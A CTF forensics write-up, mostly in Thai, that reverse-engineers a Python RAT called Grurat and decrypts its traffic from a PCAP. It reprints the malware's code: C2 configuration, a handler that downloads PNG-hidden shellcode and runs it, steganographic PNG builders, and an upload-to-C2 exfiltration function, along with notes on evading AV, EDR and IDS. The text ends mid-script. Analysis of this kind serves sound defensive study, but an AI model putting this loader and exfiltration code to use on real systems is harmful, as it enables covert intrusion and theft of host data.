Content is user-generated and unverified.

Grurat Malware Analysis - CTF Write-up (Complete Guide)

📋 Challenge Information

Challenge Name: Grurat
Category: Forensics / Malware Analysis
Difficulty: Medium-Hard
Files Given:

  • client_random_update.pyc - Compiled Python malware
  • grurat.pcap - Network traffic capture (PCAP file)

Objective: วิเคราะห์ malware และหา flag ที่ถูก exfiltrate (ขโมยข้อมูล) ออกไปผ่าน network


🎯 Overview: เราต้องทำอะไรบ้าง?

ก่อนจะเริ่ม เรามาเข้าใจภาพรวมก่อนว่า challenge นี้ต้องการให้เราทำอะไร:

  1. Reverse Engineering Malware - เราต้อง decompile ไฟล์ .pyc เพื่อดู source code ว่า malware ทำงานยังไง
  2. Protocol Analysis - เข้าใจว่า malware สื่อสารกับ C2 server อย่างไร
  3. PCAP Analysis - วิเคราะห์ไฟล์ network capture เพื่อดูว่ามีการส่งข้อมูลอะไรบ้าง
  4. Decryption - ถอดรหัสข้อมูลที่ malware ส่งออกไป
  5. Flag Extraction - หา flag จากข้อมูลที่ถอดรหัสได้

🔍 Part 1: Decompiling the Malware

1.1 ไฟล์ .pyc คืออะไร?

Python เมื่อ compile code จะได้ไฟล์ .pyc (Python Compiled) ซึ่งเป็น bytecode ที่ Python interpreter อ่านได้แต่คนอ่านไม่ค่อยเข้าใจ

ตัวอย่าง bytecode:

  1           0 LOAD_CONST               1 (1)
              2 LOAD_CONST               2 (32)
              4 LOAD_CONST               3 (254)

เราต้อง decompile (แปลงกลับ) จาก bytecode เป็น Python source code ที่อ่านได้

1.2 การ Decompile ด้วย PyLingual

มีหลายวิธีในการ decompile Python bytecode:

  • uncompyle6 - command-line tool
  • pycdc - C++ based decompiler
  • PyLingual - web-based decompiler (ง่ายที่สุด)

ในที่นี้เราจะใช้ PyLingual (https://pylingual.io) เพราะ:

  • ✅ ไม่ต้องติดตั้งอะไร
  • ✅ อัพโหลดไฟล์ได้เลย
  • ✅ รองรับ Python version หลายเวอร์ชัน

ขั้นตอน:

  1. เปิดเว็บ https://pylingual.io
  2. Upload ไฟล์ client_random_update.pyc
  3. กด "Decompile"
  4. ดาวน์โหลด source code ที่ได้

1.3 วิเคราะห์ Source Code ที่ได้

หลังจาก decompile เราจะได้ไฟล์ client_random_update.py ซึ่งมีโค้ดยาวมาก แต่เราจะแบ่งวิเคราะห์เป็นส่วนๆ

Configuration ของ C2 Server

python
C2_HOST = '34.124.239.18'    # IP address ของ C2 server
C2_PORT = 9000                # Port สำหรับ command & control
C2_UPLOAD_URL = 'http://34.124.239.18/api/update.php'  # URL สำหรับ upload ข้อมูล

อธิบาย:

  • C2 (Command & Control) คือ server ที่ malware ใช้รับคำสั่งและส่งข้อมูลกลับไป
  • Malware จะเชื่อมต่อไปที่ port 9000 เพื่อรับคำสั่ง
  • เมื่อได้ข้อมูลแล้วจะ upload ผ่าน HTTP ไปที่ /api/update.php

🔌 Part 2: Understanding the Communication Protocol

2.1 Custom Binary Protocol

Malware นี้ไม่ได้ใช้ HTTP แบบปกติในการรับคำสั่ง แต่ใช้ custom binary protocol ที่ออกแบบมาเอง

python
MSG_TEXT = 1        # ข้อความแบบ text ธรรมดา
MSG_COMMAND = 32    # คำสั่งจาก C2 server
MSG_PING = 254      # ตรวจสอบว่ายังเชื่อมต่ออยู่ไหม
MSG_PONG = 255      # ตอบกลับว่ายังทำงานอยู่

2.2 โครงสร้างของ Message

แต่ละ message มีโครงสร้างแบบนี้:

MSG_TEXT (ส่งข้อความธรรมดา):

+--------+------------+------------------+
| Type   | Length     | Text Data        |
| 1 byte | 4 bytes    | Variable length  |
+--------+------------+------------------+
| 0x01   | uint32_t   | UTF-8 string     |
+--------+------------+------------------+

ตัวอย่าง: ส่งข้อความ "agent online"

01 00 00 00 0C 61 67 65 6E 74 20 6F 6E 6C 69 6E 65
│  └────┬────┘ └──────────────┬──────────────────┘
│       │                     │
│       │                     └─ "agent online" (12 bytes)
│       └─ Length = 12
└─ Type = MSG_TEXT (1)

MSG_COMMAND (รับคำสั่ง):

+--------+------------+------------------+
| Type   | Length     | Command Data     |
| 1 byte | 2 bytes    | Variable length  |
+--------+------------+------------------+
| 0x20   | uint16_t   | UTF-8 string     |
+--------+------------+------------------+

ตัวอย่าง: รับคำสั่ง "getrunurl http://..."

20 00 2A 67 65 74 72 75 6E 75 72 6C ...
│  └─┬─┘ └──────────┬────────────────
│    │              │
│    │              └─ "getrunurl http://..."
│    └─ Length = 42 (0x002A)
└─ Type = MSG_COMMAND (32)

2.3 Code ที่ใช้ส่ง/รับข้อมูล

python
def send_text(sock, text):
    """ส่งข้อความธรรมดา"""
    # สร้าง packet: [Type:1][Length:4][Text:variable]
    sock.sendall(struct.pack('!BI', MSG_TEXT, len(text.encode())) + text.encode())

def parse_message(data):
    """แปลง binary data เป็น message"""
    if len(data) < 1:
        return None
    
    msg_type = data[0]  # อ่าน byte แรก
    
    if msg_type == MSG_COMMAND:
        # อ่าน length (2 bytes)
        cmd_len = struct.unpack('!H', data[1:3])[0]
        # อ่าน command
        cmd = data[3:3+cmd_len].decode('utf-8')
        return {'type': 'COMMAND', 'content': cmd}
    
    # ... handle types อื่นๆ

อธิบาย struct.pack:

  • ! = big-endian byte order (network byte order)
  • B = unsigned char (1 byte)
  • I = unsigned int (4 bytes)
  • H = unsigned short (2 bytes)

🎨 Part 3: Steganography - การซ่อนข้อมูลใน PNG

3.1 PNG File Structure

PNG (Portable Network Graphics) เป็นไฟล์รูปภาพที่มีโครงสร้างเป็น chunks:

PNG File Structure:
├── PNG Signature (8 bytes): 89 50 4E 47 0D 0A 1A 0A
├── IHDR chunk (header): ขนาดรูป, color type, etc.
├── IDAT chunks (image data): ข้อมูลรูปภาพจริง
├── Custom chunks: สามารถเพิ่มได้ตามต้องการ!
└── IEND chunk: จบไฟล์

Chunk Structure:

+----------+----------+----------+----------+
| Length   | Type     | Data     | CRC      |
| 4 bytes  | 4 bytes  | Variable | 4 bytes  |
+----------+----------+----------+----------+

3.2 การใช้ Custom Chunk: "stEg"

Malware นี้สร้าง custom chunk ชื่อ stEg เพื่อซ่อนข้อมูล:

python
CHUNK_TYPE = b'stEg'  # 73 74 45 67 (ASCII: s t E g)

ทำไมต้องใช้ custom chunk?

  • ✅ PNG viewer ปกติจะเพิกเฉย (ignore) chunks ที่ไม่รู้จัก
  • ✅ รูปภาพแสดงผลได้ปกติ
  • ✅ ไม่มีใครสงสัย เพราะดูเหมือน PNG ธรรมดา
  • ✅ ผ่าน AV/EDR ได้ง่าย เพราะไม่ได้ซ่อนใน image data

3.3 Mahjong Tile Encoding

นี่คือส่วนที่น่าสนใจที่สุด! Malware ใช้ Mahjong tiles (ไพ่นกกระจอก emoji 🀇) ในการ encode ข้อมูล

python
MJ_ALPHABET = ['🀇', '🀈', '🀉', '🀊', '🀋', '🀌', '🀍', '🀎', '🀏', 
               '🀐', '🀑', '🀒', '🀓', '🀔', '🀕', '🀖']
#              0    1    2    3    4    5    6    7    8
#              9    10   11   12   13   14   15

วิธีการ encode: แต่ละ byte (8 bits) จะถูกแบ่งเป็น 2 nibbles (4 bits แต่ละตัว) แล้วแทนด้วย mahjong tile:

Example: Byte 0x3A (decimal 58)

Binary: 0011 1010
        ││││ ││││
        3    A    (hex)
        │    │
        🀊   🀑  (mahjong tiles)

ดังนั้น 0x3A → 🀊🀑

ตัวอย่างเต็ม:

python
def mahjong_encode(data_bytes: bytes) -> str:
    encoded = []
    for byte in data_bytes:
        hi_nibble = byte >> 4      # เอา 4 bits บน
        lo_nibble = byte & 0xF     # เอา 4 bits ล่าง
        encoded.append(MJ_ALPHABET[hi_nibble])
        encoded.append(MJ_ALPHABET[lo_nibble])
    return ''.join(encoded)

# ตัวอย่าง:
data = b'\x3A\xF5'  # 2 bytes
# 0x3A = 0011 1010 → 3 + A → 🀊🀑
# 0xF5 = 1111 0101 → F + 5 → 🀖🀌
# Result: "🀊🀑🀖🀌"

ทำไมต้องใช้ Mahjong?

  • 🎭 ดู innocuous (ไม่น่าสงสัย) เหมือน text ธรรมดา
  • 🔍 Regex ทั่วไปตรวจจับยาก
  • 🛡️ AV/EDR ไม่ค่อยสแกน Unicode emoji
  • 📦 Compact กว่า hex หรือ base64

3.4 การ Extract ข้อมูลจาก PNG

python
def extract_mahjong_from_png(png_data):
    """หา stEg chunk และดึง mahjong payload ออกมา"""
    if not png_data.startswith(PNG_SIG):
        return None
    
    i = len(PNG_SIG)  # ข้าม PNG signature
    
    # วน loop อ่านแต่ละ chunk
    while i + 12 <= len(png_data):
        # อ่าน chunk header
        length = struct.unpack('>I', png_data[i:i+4])[0]
        chunk_type = png_data[i+4:i+8]
        
        if chunk_type == b'stEg':  # เจอแล้ว!
            # ดึงข้อมูล
            payload = png_data[i+8:i+8+length]
            return payload.decode('utf-8')  # mahjong string
        
        # ไปยัง chunk ถัดไป
        i += 12 + length
    
    return None

โครงสร้างข้อมูลที่ซ่อน:

PNG with stEg chunk:
├── PNG Signature
├── IHDR chunk
├── IDAT chunks (actual image)
├── stEg chunk ← ข้อมูลถูกซ่อนที่นี่!
│   ├── Length: 4 bytes
│   ├── Type: "stEg"
│   ├── Data: 🀇🀈🀉🀊... (mahjong encoded)
│   └── CRC: 4 bytes
└── IEND chunk

💉 Part 4: Shellcode Execution Flow

4.1 Command Handler

เมื่อ malware รับคำสั่ง getrunurl จะทำดังนี้:

python
def handle_command(cmd: str, out_dir: Path) -> str:
    parts = cmd.strip().split(maxsplit=1)
    op = parts[0].lower()        # "getrunurl"
    arg = parts[1].strip()       # "http://34.124.239.18/images/niarRF.png"
    
    if op == 'getrunurl':
        # Step 1: ดาวน์โหลด PNG file
        dst = download_to_file(arg, out_dir, 52428800, 30.0)
        
        # Step 2: ตรวจสอบว่ามี shellcode ไหม
        if has_mahjong_shellcode(dst):
            # Step 3: Extract shellcode
            shellcode = extract_mahjong_secret_bytes(dst)
            
            # Step 4: Execute shellcode
            output_path = Path('C:/Users/Public/rest.txt')
            execute_shellcode_subprocess(shellcode)
            
            # Step 5: อ่านผลลัพธ์
            time.sleep(2)  # รอให้ shellcode ทำงานเสร็จ
            if output_path.exists():
                output = output_path.read_text()
                output_path.unlink()  # ลบไฟล์ทิ้ง
                return process_key_command(output)

4.2 Shellcode Extraction Process

python
def extract_mahjong_secret_bytes(path):
    """Decode shellcode จาก PNG"""
    with open(path, 'rb') as f:
        raw = f.read()
    
    # หา stEg chunk
    payload_data = None
    i = len(PNG_SIG)
    while i + 12 <= len(raw):
        length = struct.unpack('>I', raw[i:i+4])[0]
        if raw[i+4:i+8] == b'stEg':
            payload_data = raw[i+8:i+8+length]
            break
        i += 12 + length
    
    # Decode mahjong → bytes
    data = mahjong_decode(payload_data.decode('utf-8'))
    
    # ถ้าขึ้นต้นด้วย 'Z' แสดงว่า compressed
    if data.startswith(b'Z'):
        data = zlib.decompress(data[1:])  # ถอด compression
    
    return data  # shellcode!

Encoding layers ของ shellcode:

Original Shellcode (x86-64 binary)
        ↓ zlib compress + prefix 'Z'
    Compressed
        ↓ Mahjong encode
    🀇🀈🀉🀊🀋...
        ↓ Store in stEg chunk
    PNG File

4.3 Shellcode Execution

python
def execute_shellcode_subprocess(shellcode_bytes: bytes) -> str:
    """Execute shellcode ผ่าน shellcode_runner.exe"""
    runner_path = 'shellcode_runner.exe'
    
    # เขียน shellcode ลงไฟล์ชั่วคราว
    temp_file = tempfile.NamedTemporaryFile(delete=False)
    temp_file.write(shellcode_bytes)
    temp_file.close()
    
    # Run shellcode runner
    proc = subprocess.run(
        [runner_path, temp_file.name],
        capture_output=True,
        timeout=15
    )
    
    # ลบไฟล์ชั่วคราว
    os.remove(temp_file.name)
    
    return proc.stdout

4.4 Shellcode Content

Shellcode ที่ถูก execute จริงๆ จะรัน command นี้:

batch
cmd.exe /c echo key: niarRF > C:\Users\Public\rest.txt

Breakdown:

  • cmd.exe /c = รัน command แล้วปิด
  • echo key: niarRF = พิมพ์ข้อความ "key: niarRF"
  • > C:\Users\Public\rest.txt = เขียนลงไฟล์

ทำไมต้องเขียนลงไฟล์?

  • Shellcode รันใน process แยก
  • Malware ต้องอ่านผลลัพธ์กลับมา
  • ใช้ไฟล์เป็น IPC (Inter-Process Communication)

4.5 Key Format

Shellcode จะเขียน key ในรูปแบบ:

key: <value><RF/FF>

ความหมาย:

  • RF = Real Flag → ใช้ข้อมูลจริงของเครื่อง (hostname + Windows version)
  • FF = Fake Flag → ใช้ random string
python
def process_key_command(output_string: str) -> str:
    # Parse: "key: niarRF"
    _, key_value = output_string.split(':', 1)
    key_value = key_value.strip()  # "niarRF"
    
    if key_value.endswith('RF'):
        # Real Flag: ใช้ข้อมูลจริง
        hostname = socket.gethostname()          # "DESKTOP-P477C8C"
        window_version = platform.version()      # "10.0.19045"
        plaintext = f'flag{{{hostname}_{window_version}}}'
        # plaintext = "flag{DESKTOP-P477C8C_10.0.19045}"
    
    elif key_value.endswith('FF'):
        # Fake Flag: ใช้ random
        rand = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
        plaintext = f'flag{{{rand}}}'
        # plaintext = "flag{aB3xY9mK2p}"
    
    # ต่อไป: เข้ารหัสและส่งออกไป...

🔐 Part 5: Data Encryption & Exfiltration

5.1 Encryption Chain

ข้อมูลที่จะส่งออกไปจะผ่านขั้นตอนหลายขั้น:

plaintext: "flag{DESKTOP-P477C8C_10.0.19045}"
    ↓
[1] XOR Encryption with key "niarRF"
    ↓
encrypted bytes: b'\x13\x07\x19\x07...'
    ↓
[2] Base64 Encoding
    ↓
base64 string: "EwcZBwUHFxkZEQ=="
    ↓
[3] Mahjong Encoding
    ↓
mahjong string: "🀈🀊🀇🀎🀈🀐..."
    ↓
[4] Embed in PNG stEg chunk
    ↓
PNG file with hidden data
    ↓
[5] Upload to C2
    ↓
POST /api/update.php

5.2 XOR Encryption (รายละเอียด)

XOR (Exclusive OR) เป็น encryption แบบง่ายที่สุด แต่ปลอดภัยถ้ามี key ที่ดี:

python
def xor_encrypt(plaintext: str, key: str) -> bytes:
    plaintext_bytes = plaintext.encode('utf-8')
    key_bytes = key.encode('utf-8')
    encrypted = bytearray()
    
    for i in range(len(plaintext_bytes)):
        # XOR แต่ละ byte ของ plaintext กับ key (แบบวนซ้ำ)
        encrypted.append(plaintext_bytes[i] ^ key_bytes[i % len(key_bytes)])
    
    return bytes(encrypted)

ตัวอย่างการทำงาน:

Plaintext: "flag"
Key:       "niarRF"

Step by step:
Position 0: 'f' (0x66) XOR 'n' (0x6E) = 0x08
Position 1: 'l' (0x6C) XOR 'i' (0x69) = 0x05
Position 2: 'a' (0x61) XOR 'a' (0x61) = 0x00
Position 3: 'g' (0x67) XOR 'r' (0x72) = 0x15

Result: b'\x08\x05\x00\x15'

คุณสมบัติของ XOR:

  • ✅ Symmetric: encrypt และ decrypt ใช้ function เดียวกัน
  • ✅ Fast: แค่ bitwise operation
  • ✅ Reversible: A XOR B XOR B = A
  • ⚠️ Weak ถ้า key สั้นหรือถูกเดาได้

การ decrypt:

python
def xor_decrypt(ciphertext: bytes, key: str) -> str:
    # ทำเหมือน encrypt เลย!
    key_bytes = key.encode('utf-8')
    decrypted = bytearray()
    
    for i in range(len(ciphertext)):
        decrypted.append(ciphertext[i] ^ key_bytes[i % len(key_bytes)])
    
    return decrypted.decode('utf-8')

5.3 Base64 Encoding

Base64 แปลง binary data เป็น text ที่ส่งผ่าน text-based protocol ได้:

python
import base64

encrypted = b'\x08\x05\x00\x15'
b64 = base64.b64encode(encrypted)
print(b64)  # b'CAUFAA=='

Base64 Alphabet:

A-Z, a-z, 0-9, +, / (64 characters)
= (padding)

ทำไมต้องใช้ Base64?

  • Binary data มี null bytes, control characters ที่ส่งผ่าน text protocol ได้ยาก
  • Base64 แปลงให้เป็น printable ASCII

5.4 Creating Exfiltration PNG

python
def create_and_inject_png(mahjong_payload: str) -> bytes:
    """สร้าง PNG ใหม่ที่มีข้อมูล encrypted ซ่อนอยู่"""
    
    # Step 1: สร้างรูปภาพ gradient สวยๆ
    width, height = 256, 256
    color1 = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
    color2 = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
    
    img = Image.new('RGB', (width, height))
    draw = ImageDraw.Draw(img)
    
    # วาด gradient
    for y in range(height):
        r = int(color1[0] + (color2[0] - color1[0]) * y / height)
        g = int(color1[1] + (color2[1] - color1[1]) * y / height)
        b = int(color1[2] + (color2[2] - color1[2]) * y / height)
        draw.line([(0, y), (width, y)], fill=(r, g, b))
    
    # Step 2: Save เป็น PNG
    buffer = io.BytesIO()
    img.save(buffer, format='PNG')
    png_data = buffer.getvalue()
    
    # Step 3: แยก IEND chunk ออก
    base_png = png_data[:-12]   # PNG ยกเว้น IEND
    iend_chunk = png_data[-12:]  # IEND chunk
    
    # Step 4: สร้าง stEg chunk
    payload_bytes = mahjong_payload.encode('utf-8')
    chunk_type = b'stEg'
    chunk_data = chunk_type + payload_bytes
    
    # Calculate CRC
    crc = zlib.crc32(chunk_data)
    
    # สร้าง complete chunk
    chunk = struct.pack('>I', len(payload_bytes)) + chunk_data + struct.pack('>I', crc)
    
    # Step 5: ประกอบ PNG ใหม่
    return base_png + chunk + iend_chunk

ผลลัพธ์:

PNG File:
├── [Normal PNG data]
├── stEg chunk
│   ├── Length: 256
│   ├── Type: "stEg"
│   ├── Data: 🀊🀑🀈🀇...  ← encrypted flag here!
│   └── CRC: checksum
└── IEND chunk

5.5 Uploading to C2

python
def post_image_to_c2(image_data, c2_url, filename):
    """Upload PNG ไปที่ C2 server"""
    files = {
        'uploaded_image': (filename, image_data, 'image/png')
    }
    
    response = requests.post(c2_url, files=files, timeout=20)
    return f'Upload {response.status_code}'

HTTP Request ที่เกิดขึ้น:

http
POST /api/update.php HTTP/1.1
Host: 34.124.239.18
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploaded_image"; filename="IMG_shot_42315.png"
Content-Type: image/png

‰PNG........[PNG data with hidden encrypted flag]........IEND®B`‚
------WebKitFormBoundary7MA4YWxkTrZu0gW--

ชื่อไฟล์แบบ stealth:

python
def generate_stealthy_filename() -> str:
    """สร้างชื่อไฟล์ที่ดูไม่น่าสงสัย"""
    prefixes = ['IMG', 'photo', 'vacation', 'holiday', 'screenshot']
    suffixes = ['view', 'shot', 'pic', 'image']
    
    parts = [random.choice(prefixes)]
    if random.random() > 0.5:
        parts.append(random.choice(suffixes))
    parts.append(str(random.randint(1000, 99999)))
    
    return '_'.join(parts) + '.png'
    # Example: "vacation_shot_42315.png"

ทำไมต้อง random ชื่อไฟล์?

  • 😎 ดูเหมือน screenshot หรือรูปภาพธรรมดา
  • 🕵️ ไม่มี pattern ที่เห็นได้ชัด
  • 🚫 หลีกเลี่ยง IDS/IPS detection rules

📊 Part 6: PCAP Analysis Strategy

ตอนนี้เราเข้าใจ malware แล้ว มาวิเคราะห์ PCAP เพื่อหา flag กัน!

6.1 PCAP คืออะไร?

PCAP (Packet Capture) เป็นไฟล์ที่บันทึก network traffic ทั้งหมด มี 2 แบบ:

  • Live capture - จับ packet แบบ real-time ด้วย Wireshark, tcpdump
  • Saved capture - ไฟล์ .pcap หรือ .pcapng ที่บันทึกไว้แล้ว

ข้อมูลใน PCAP:

  • Source/Destination IP address
  • Source/Destination port
  • Protocol (TCP, UDP, HTTP, etc.)
  • Payload (ข้อมูลจริงที่ส่ง)
  • Timestamp

6.2 สิ่งที่เราต้องหาใน PCAP

จาก malware analysis เรารู้ว่าต้องหา:

  1. C2 Commands (port 9000) → คำสั่งที่ C2 ส่งมา
  2. Downloaded PNGs (HTTP GET) → PNG ที่มี shellcode
  3. Keys from shellcode → encryption key เช่น "niarRF"
  4. Uploaded PNGs (HTTP POST) → PNG ที่มี encrypted flag
  5. Decrypt with keys → ถอดรหัสเพื่อหา flag

6.3 ปัญหาที่เจอ

TCP Fragmentation:

  • HTTP response ใหญ่ (PNG file) อาจถูกแบ่งเป็นหลาย TCP packets
  • ต้อง reassemble (ประกอบ) packets กลับมาเป็น stream เดียว

ตัวอย่าง:

Packet 1: [HTTP Header] GET /images/niarRF.png
Packet 2: [HTTP Response] 200 OK Content-Type: image/png
Packet 3: [Data] 89 50 4E 47 0D 0A 1A 0A... (PNG start)
Packet 4: [Data] ...more PNG data...
Packet 5: [Data] ...more PNG data...
Packet 6: [Data] ...49 45 4E 44 AE 42 60 82 (PNG end)

ถ้าเราดูแค่ packet เดียว จะไม่ได้ PNG ครบ!


🛠️ Part 7: Building the Analysis Script

7.1 Tools & Libraries

เราจะใช้ Python กับ library เหล่านี้:

python
from scapy.all import rdpcap, TCP, Raw, IP  # สำหรับอ่าน PCAP
import struct      # สำหรับ parse binary data
import base64      # สำหรับ decode base64
import zlib        # สำหรับ decompress
import re          # สำหรับ regex
import string      # สำหรับ string operations

ติดตั้ง:

bash
pip install scapy

7.2 Phase 1: Parsing C2 Protocol

python
def parse_message(data):
    """แปลง binary packet เป็น message structure"""
    if len(data) < 1:
        return None
    
    msg_type = data[0]  # อ่าน byte แรก
    
    if msg_type == MSG_TEXT:
        if len(data) < 5:
            return None
        text_len = struct.unpack('!I', data[1:5])[0]  # อ่าน 4 bytes
        if len(data) < 5 + text_len:
            return None
        text = data[5:5+text_len].decode('utf-8', errors='ignore')
        return {'type': 'TEXT', 'content': text}
    
    elif msg_type == MSG_COMMAND:
        if len(data) < 3:
            return None
        cmd_len = struct.unpack('!H', data[1:3])[0]  # อ่าน 2 bytes
        if len(data) < 3 + cmd_len:
            return None
        cmd = data[3:3+cmd_len].decode('utf-8', errors='ignore')
        return {'type': 'COMMAND', 'content': cmd}
    
    elif msg_type == MSG_PING:
        return {'type': 'PING', 'content': ''}
    
    elif msg_type == MSG_PONG:
        if len(data) < 3:
            return None
        flag_len = struct.unpack('!H', data[1:3])[0]
        if len(data) < 3 + flag_len:
            return None
        flag = data[3:3+flag_len].decode('utf-8', errors='ignore')
        return {'type': 'PONG', 'content': flag}
    
    return None

วิธีใช้:

python
# อ่าน PCAP
packets = rdpcap('grurat.pcap')

# วนดูแต่ละ packet
for pkt in packets:
    if TCP in pkt and Raw in pkt:
        # Check port 9000 (C2 communication)
        if pkt[TCP].sport == 9000 or pkt[TCP].dport == 9000:
            payload = bytes(pkt[Raw].load)
            msg = parse_message(payload)
            
            if msg:
                print(f"{msg['type']}: {msg['content']}")

Output:

TEXT: agent online
COMMAND: getrunurl http://34.124.239.18/images/deff.png
TEXT: Upload 200
COMMAND: getrunurl http://34.124.239.18/images/niarRF.png
TEXT: Upload 200

7.3 Phase 2: TCP Stream Reassembly

python
from collections import defaultdict

def reassemble_tcp_streams(packets):
    """ประกอบ TCP packets เป็น complete streams"""
    streams = defaultdict(lambda: bytearray())
    
    for pkt in packets:
        if TCP in pkt and Raw in pkt and IP in pkt:
            # สร้าง stream ID จาก IP:port pairs
            src = (pkt[IP].src, pkt[TCP].sport)
            dst = (pkt[IP].dst, pkt[TCP].dport)
            stream_id = tuple(sorted([src, dst]))  # bidirectional
            
            # เพิ่ม payload เข้า stream
            streams[stream_id].extend(bytes(pkt[Raw].load))
    
    return streams

ทำไมต้อง reassemble?

Before reassembly:
Packet 45: b'\x89\x50\x4E\x47'  (PNG signature, 4 bytes)
Packet 46: b'\x0D\x0A\x1A\x0A'  (continuation, 4 bytes)
Packet 47: b'\x00\x00\x00\x0D'  (continuation, 4 bytes)
...

After reassembly:
Stream: b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D...'
         └─ Complete PNG file!

7.4 Phase 3: PNG Extraction

python
PNG_SIG = b'\x89PNG\r\n\x1a\n'

def extract_pngs_from_stream(stream_data):
    """หา PNG files ทั้งหมดใน stream"""
    pngs = []
    pos = 0
    
    while True:
        # หา PNG signature
        png_start = stream_data.find(PNG_SIG, pos)
        if png_start == -1:
            break  # ไม่เจอแล้ว
        
        # หา IEND chunk (จบ PNG)
        iend_pos = stream_data.find(b'IEND', png_start)
        if iend_pos == -1:
            pos = png_start + 1
            continue
        
        # PNG จบที่ IEND + 4 bytes CRC + 4 bytes length
        png_end = iend_pos + 8
        png_data = stream_data[png_start:png_end]
        
        # เช็คว่ามี stEg chunk ไหม
        if b'stEg' in png_data:
            pngs.append(png_data)
        
        pos = png_end
    
    return pngs

การแยก Downloaded vs Uploaded:

python
for stream_id, stream_data in streams.items():
    stream_bytes = bytes(stream_data)
    
    # Check HTTP method
    if b'GET ' in stream_bytes[:200]:
        # Download from C2
        pngs = extract_pngs_from_stream(stream_bytes)
        for png in pngs:
            downloaded_pngs.append(png)
    
    elif b'POST ' in stream_bytes[:200] and b'update.php' in stream_bytes[:1000]:
        # Upload to C2
        pngs = extract_pngs_from_stream(stream_bytes)
        for png in pngs:
            uploaded_pngs.append(png)

7.5 Phase 4: Shellcode Decoding & Key Extraction

python
def extract_strings_from_shellcode(shellcode_bytes):
    """ดึง ASCII strings จาก binary shellcode"""
    printable = set(string.printable.encode())
    current = []
    strings = []
    
    for byte in shellcode_bytes:
        if byte in printable and byte not in [0, 1]:
            current.append(chr(byte))
        else:
            if len(current) >= 4:  # เก็บแค่ string ยาว >= 4
                strings.append(''.join(current))
            current = []
    
    if current and len(current) >= 4:
        strings.append(''.join(current))
    
    return strings

ตัวอย่าง strings ที่พบ:

python
[
    'GetProcAH',
    'VhoDydb',
    '\\rest.txPH',
    's\\PublicPH',
    '"C:\\UserPH',
    'niarRF> PH',    # ← KEY อยู่ตรงนี้!
    'cho key:PH',
    'exe /c ePH',
    'm32\\cmd.PH',
    'ws\\SystePH'
]

Extract key:

python
def find_key_in_shellcode(shellcode_bytes):
    """หา encryption key จาก shellcode strings"""
    strings = extract_strings_from_shellcode(shellcode_bytes)
    
    # Pattern: "xxxRF> PH" หรือ "xxxFF> PH"
    for s in strings:
        if '> PH' in s and ('RF>' in s or 'FF>' in s):
            # ตัด "> PH" ออก แล้วเอาส่วนที่ลงท้ายด้วย RF/FF
            key_part = s.split('> PH')[0].split('PH')[-1]
            if key_part.endswith('FF') or key_part.endswith('RF'):
                return key_part
    
    return None

ผลลัพธ์:

python
Downloaded PNG #1 → Key: "deenFF"
Downloaded PNG #2 → Key: "dlocFF"
Downloaded PNG #3 → Key: "loocFF"
Downloaded PNG #4 → Key: "mrawFF"
Downloaded PNG #5 → Key: "niarRF"  ← Real Flag!

7.6 Phase 5: Full Decryption

python
def decrypt_exfiltrated_data(mahjong_payload, key):
    """ถอดรหัสทั้งหมด: Mahjong → Base64 → XOR → Plaintext"""
    
    # Step 1: Mahjong decode
    decoded_bytes = mahjong_decode(mahjong_payload)
    
    # Step 2: Base64 decode
    encrypted_data = base64.b64decode(decoded_bytes)
    
    # Step 3: XOR decrypt
    plaintext = xor_decrypt(encrypted_data, key)
    
    return plaintext

def mahjong_decode(mj_str):
    """Decode mahjong tiles เป็น bytes"""
    if len(mj_str) % 2 != 0:
        raise ValueError("Invalid length")
    
    MJ_DEC = {ch: i for i, ch in enumerate(MJ_ALPHABET)}
    out = bytearray()
    
    for i in range(0, len(mj_str), 2):
        hi = mj_str[i]      # tile แรก = high nibble
        lo = mj_str[i + 1]  # tile ที่สอง = low nibble
        
        if hi not in MJ_DEC or lo not in MJ_DEC:
            raise ValueError(f"Invalid tile")
        
        byte = (MJ_DEC[hi] << 4) | MJ_DEC[lo]
        out.append(byte)
    
    return bytes(out)

def xor_decrypt(ciphertext, key):
    """XOR decrypt"""
    key_bytes = key.encode('utf-8')
    decrypted = bytearray()
    
    for i in range(len(ciphertext)):
        decrypted.append(ciphertext[i] ^ key_bytes[i % len(key_bytes)])
    
    return decrypted.decode('utf-8', errors='ignore')

7.7 Putting It All Together

python
def analyze_pcap(pcap_file):
    """Main analysis function"""
    
    print("[*] Loading PCAP...")
    packets = rdpcap(pcap_file)
    
    # Phase 1: Extract C2 commands
    print("\n[PHASE 1] C2 Commands")
    commands = []
    for pkt in packets:
        if TCP in pkt and Raw in pkt:
            if pkt[TCP].sport == 9000 or pkt[TCP].dport == 9000:
                msg = parse_message(bytes(pkt[Raw].load))
                if msg and msg['type'] == 'COMMAND':
                    commands.append(msg['content'])
                    print(f"  {msg['content']}")
    
    # Phase 2: Reassemble TCP streams
    print("\n[PHASE 2] Reassembling TCP Streams")
    streams = reassemble_tcp_streams(packets)
    
    # Phase 3: Extract PNGs
    print("\n[PHASE 3] Extracting PNGs")
    downloaded_pngs = []
    uploaded_pngs = []
    
    for stream_id, stream_data in streams.items():
        stream_bytes = bytes(stream_data)
        if b'GET ' in stream_bytes[:200]:
            pngs = extract_pngs_from_stream(stream_bytes)
            downloaded_pngs.extend(pngs)
        elif b'POST ' in stream_bytes[:200]:
            pngs = extract_pngs_from_stream(stream_bytes)
            uploaded_pngs.extend(pngs)
    
    print(f"  Downloaded: {len(downloaded_pngs)}")
    print(f"  Uploaded: {len(uploaded_pngs)}")
    
    # Phase 4: Extract keys
    print("\n[PHASE 4] Extracting Keys")
    keys = set()
    
    for idx, png in enumerate(downloaded_pngs):
        mahjong_data = extract_steg_chunk(png)
        if mahjong_data:
            decoded = mahjong_decode(mahjong_data)
            if decoded.startswith(b'Z'):
                decoded = zlib.decompress(decoded[1:])
            
            key = find_key_in_shellcode(decoded)
            if key:
                keys.add(key)
                print(f"  PNG #{idx+1}: {key}")
    
    # Phase 5: Decrypt uploads
    print("\n[PHASE 5] Decrypting Uploads")
    
    for idx, png in enumerate(uploaded_pngs):
        mahjong_payload = extract_steg_chunk(png)
        if not mahjong_payload:
            continue
        
        print(f"\n  Upload #{idx+1}:")
        for key in keys:
            plaintext = decrypt_exfiltrated_data(mahjong_payload, key)
